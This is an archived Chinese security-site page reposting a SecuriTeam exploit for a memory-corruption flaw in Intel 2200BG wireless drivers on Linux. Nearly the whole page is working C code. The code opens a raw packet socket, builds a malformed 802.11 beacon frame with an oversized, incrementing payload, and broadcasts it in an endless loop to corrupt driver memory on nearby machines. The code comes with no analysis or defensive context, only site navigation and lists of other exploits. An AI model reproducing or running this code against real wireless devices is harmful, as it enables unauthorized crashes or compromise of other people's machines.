首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Exploits Intel 2200BG 802.11 wireless drivers for Linux memory corruption
来源:SECURITEAM 作者:SECURITEAM 发布时间:2006-12-20  

#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <asm/types.h>
#include <linux/if.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <string.h >
#include <stdio.h>
#include <linux/wireless.h>

// Change BSSID and SRC MAC ADDR to AP you are associated

char beacon[] = { 0x80, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff,
0x00, 0x18, 0x39, 0xe2, 0x12, 0xda,0x00, 0x18, 0x39, 0xe2, 0x12, 0xda,
0x30, 0x2f, 0x84, 0x18, 0xa9, 0xf7, 0x00, 0x00, 0x00, 0x00, 0x64, 0x00,
0x01, 0x04, 0x00, 0xff, 0x53, 0x41, 0x55, 0x4e, 0x41, 0x01, 0x08, 0x82,
0x84, 0x8b,0x96, 0x24, 0x30, 0x48, 0x6c, 0x04, 0x01, 0x08, 0x05, 0x04,
0x00, 0x01, 0x00, 0x00, 0x2a, 0x01,0x04, 0x2f, 0x01, 0x04, 0x32, 0x04,
0x0c, 0x12, 0x18, 0x60, 0xdd, 0x06, 0x00, 0x10, 0x18, 0x02,0x00, 0xf4,
0x08, 0xc1, 0xca, 0x93 };

int main() {
struct sockaddr_ll link;
struct ifreq iface;
int s, i, randd = 0x22, j, m, a, b;
unsigned long len = 0, c = 0;
char s_1[700+sizeof(beacon)];

if((s=socket(PF_INET, SOCK_DGRAM, 0))<0)
return 0;

bzero(&iface,sizeof(iface));
bzero(&link,sizeof(link));
bzero(s_1,sizeof(beacon));

strcpy( iface.ifr_name,"ath0raw");


if(ioctl(s,SIOCGIFHWADDR, &iface)) {
return 0;
}

if(ioctl(s,SIOCGIFINDEX, &iface)) {
return -1;

}

if((s=socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)))<0) {
return -1;
}

link.sll_family = AF_PACKET;
link.sll_ifindex = iface.ifr_ifindex;

if(bind(s,(struct sockaddr *) &link, sizeof(link))<0) {
return -1;

}

memcpy(s_1,beacon,sizeof(beacon));

randd = 0x44;

for(i=0;i<33;i++)
s_1[37+i] = 0x44;

for(;;) {

i = 147;
for(j=0;j<i;j++) {
if(randd == 0xff)
randd = 0x00;
s_1[70+j] = randd++;
}
randd = 0x44;
for(m=0;m<5;m++) {
len = sendto(s,s_1,strlen(beacon)+j, 0, NULL, 0);
printf("Sent %d\n",len);
}
}

close(s);

return 0;
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·wget <= 1.10.2 (Unchecked B
·KDE 3.5 (libkhtml) <= 4.2.0
·MS Office Outlook Recipient Co
·Oracle <= 9i / 10g File Sys
·VerliAdmin <= 0.3 (index.ph
·Hewlett-Packard FTP Print Serv
·Star FTP Server 1.10 (RETR) Re
·Hewlett-Packard FTP Print Serv
·extreme-fusion <= 4.02 Remo
·Exploits WinFtp Server Version
·GNU InetUtils ftpd 1.4.2 (ld.s
·RealPlayer 10.5 (ActiveX Contr
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved